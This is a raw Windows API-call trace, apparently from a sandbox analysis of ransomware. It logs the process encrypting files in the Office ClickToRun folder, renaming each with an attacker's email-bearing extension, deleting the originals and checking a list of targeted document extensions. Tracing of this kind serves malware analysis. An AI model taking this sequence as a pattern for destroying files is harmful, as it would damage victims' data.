	[0084.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.929] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=24768) returned 1
	[0084.929] CloseHandle (hObject=0x378) returned 1
	[0084.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20
	[0084.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.929] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.929] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0084.930] GetLastError () returned 0x0
	[0084.930] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x60c0, lpOverlapped=0x0) returned 1
	[0084.931] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x60d0, lpOverlapped=0x0) returned 1
	[0084.933] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.933] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x112, lpOverlapped=0x0) returned 1
	[0084.933] SetEndOfFile (hFile=0x360) returned 1
	[0084.933] CloseHandle (hObject=0x360) returned 1
	[0084.934] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.934] SetEndOfFile (hFile=0x378) returned 1
	[0084.935] CloseHandle (hObject=0x378) returned 1
	[0084.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.935] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1
	[0084.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0084.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0084.936] lstrlenW (lpString=".doc") returned 4
	[0084.936] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.936] lstrlenW (lpString=".docx") returned 5
	[0084.936] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.936] lstrlenW (lpString=".pdf") returned 4
	[0084.936] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.936] lstrlenW (lpString=".xls") returned 4
	[0084.936] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.936] lstrlenW (lpString=".xlsx") returned 5
	[0084.936] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.936] lstrlenW (lpString=".ppt") returned 4
	[0084.936] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0084.936] lstrlenW (lpString=".zip") returned 4
	[0084.936] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.936] lstrlenW (lpString=".rar") returned 4
	[0084.936] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.936] lstrlenW (lpString=".bz2") returned 4
	[0084.936] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.936] lstrlenW (lpString=".7z") returned 3
	[0084.936] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0084.936] lstrlenW (lpString=".dbf") returned 4
	[0084.936] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0084.936] lstrlenW (lpString=".1cd") returned 4
	[0084.936] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0084.937] lstrlenW (lpString=".jpg") returned 4
	[0084.937] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0084.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0084.937] lstrlenW (lpString=".doc") returned 4
	[0084.937] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.937] lstrlenW (lpString=".docx") returned 5
	[0084.937] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.937] lstrlenW (lpString=".pdf") returned 4
	[0084.937] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.937] lstrlenW (lpString=".xls") returned 4
	[0084.937] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.937] lstrlenW (lpString=".xlsx") returned 5
	[0084.937] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.937] lstrlenW (lpString=".ppt") returned 4
	[0084.937] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0084.937] lstrlenW (lpString=".zip") returned 4
	[0084.937] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.937] lstrlenW (lpString=".rar") returned 4
	[0084.937] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.937] lstrlenW (lpString=".bz2") returned 4
	[0084.937] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.937] lstrlenW (lpString=".7z") returned 3
	[0084.937] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0084.937] lstrlenW (lpString=".dbf") returned 4
	[0084.937] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0084.937] lstrlenW (lpString=".1cd") returned 4
	[0084.937] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0084.937] lstrlenW (lpString=".jpg") returned 4
	[0084.937] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.938] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.938] lstrlenW (lpString="api-ms-win-crt-string-l1-1-0.dll") returned 32
	[0084.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.938] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=24768) returned 1
	[0084.938] CloseHandle (hObject=0x378) returned 1
	[0084.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20
	[0084.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.938] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.938] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0084.939] GetLastError () returned 0x0
	[0084.939] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x60c0, lpOverlapped=0x0) returned 1
	[0084.941] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x60d0, lpOverlapped=0x0) returned 1
	[0084.942] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.942] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x114, lpOverlapped=0x0) returned 1
	[0084.942] SetEndOfFile (hFile=0x360) returned 1
	[0084.943] CloseHandle (hObject=0x360) returned 1
	[0084.944] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.944] SetEndOfFile (hFile=0x378) returned 1
	[0084.945] CloseHandle (hObject=0x378) returned 1
	[0084.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.945] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 1
	[0084.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0084.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0084.946] lstrlenW (lpString=".doc") returned 4
	[0084.946] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.946] lstrlenW (lpString=".docx") returned 5
	[0084.946] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.946] lstrlenW (lpString=".pdf") returned 4
	[0084.946] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.946] lstrlenW (lpString=".xls") returned 4
	[0084.946] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.946] lstrlenW (lpString=".xlsx") returned 5
	[0084.946] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.946] lstrlenW (lpString=".ppt") returned 4
	[0084.946] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0084.946] lstrlenW (lpString=".zip") returned 4
	[0084.946] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.946] lstrlenW (lpString=".rar") returned 4
	[0084.946] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.946] lstrlenW (lpString=".bz2") returned 4
	[0084.946] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.946] lstrlenW (lpString=".7z") returned 3
	[0084.946] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0084.946] lstrlenW (lpString=".dbf") returned 4
	[0084.946] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0084.946] lstrlenW (lpString=".1cd") returned 4
	[0084.946] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0084.947] lstrlenW (lpString=".jpg") returned 4
	[0084.947] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0084.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0084.947] lstrlenW (lpString=".doc") returned 4
	[0084.947] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.947] lstrlenW (lpString=".docx") returned 5
	[0084.947] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.947] lstrlenW (lpString=".pdf") returned 4
	[0084.947] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.947] lstrlenW (lpString=".xls") returned 4
	[0084.947] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.947] lstrlenW (lpString=".xlsx") returned 5
	[0084.947] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.947] lstrlenW (lpString=".ppt") returned 4
	[0084.947] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0084.947] lstrlenW (lpString=".zip") returned 4
	[0084.947] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.947] lstrlenW (lpString=".rar") returned 4
	[0084.947] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.947] lstrlenW (lpString=".bz2") returned 4
	[0084.947] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.947] lstrlenW (lpString=".7z") returned 3
	[0084.947] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0084.947] lstrlenW (lpString=".dbf") returned 4
	[0084.947] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0084.947] lstrlenW (lpString=".1cd") returned 4
	[0084.947] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0084.947] lstrlenW (lpString=".jpg") returned 4
	[0084.947] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.948] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.948] lstrlenW (lpString="api-ms-win-crt-time-l1-1-0.dll") returned 30
	[0084.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.948] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=21184) returned 1
	[0084.948] CloseHandle (hObject=0x378) returned 1
	[0084.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20
	[0084.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.948] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.948] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0084.949] GetLastError () returned 0x0
	[0084.949] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x52c0, lpOverlapped=0x0) returned 1
	[0085.625] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x52d0, lpOverlapped=0x0) returned 1
	[0085.627] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.627] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x110, lpOverlapped=0x0) returned 1
	[0085.627] SetEndOfFile (hFile=0x360) returned 1
	[0085.627] CloseHandle (hObject=0x360) returned 1
	[0085.628] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.628] SetEndOfFile (hFile=0x378) returned 1
	[0085.629] CloseHandle (hObject=0x378) returned 1
	[0085.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0085.629] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 1
	[0085.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.630] lstrlenW (lpString=".doc") returned 4
	[0085.630] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.630] lstrlenW (lpString=".docx") returned 5
	[0085.630] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.630] lstrlenW (lpString=".pdf") returned 4
	[0085.630] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.630] lstrlenW (lpString=".xls") returned 4
	[0085.630] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.630] lstrlenW (lpString=".xlsx") returned 5
	[0085.630] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.630] lstrlenW (lpString=".ppt") returned 4
	[0085.630] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.630] lstrlenW (lpString=".zip") returned 4
	[0085.630] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.630] lstrlenW (lpString=".rar") returned 4
	[0085.630] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.630] lstrlenW (lpString=".bz2") returned 4
	[0085.630] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.630] lstrlenW (lpString=".7z") returned 3
	[0085.630] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.630] lstrlenW (lpString=".dbf") returned 4
	[0085.630] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.630] lstrlenW (lpString=".1cd") returned 4
	[0085.630] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.630] lstrlenW (lpString=".jpg") returned 4
	[0085.631] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.631] lstrlenW (lpString=".doc") returned 4
	[0085.631] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.631] lstrlenW (lpString=".docx") returned 5
	[0085.631] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.631] lstrlenW (lpString=".pdf") returned 4
	[0085.631] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.631] lstrlenW (lpString=".xls") returned 4
	[0085.631] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.631] lstrlenW (lpString=".xlsx") returned 5
	[0085.631] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.631] lstrlenW (lpString=".ppt") returned 4
	[0085.631] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.631] lstrlenW (lpString=".zip") returned 4
	[0085.631] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.631] lstrlenW (lpString=".rar") returned 4
	[0085.631] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.631] lstrlenW (lpString=".bz2") returned 4
	[0085.631] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
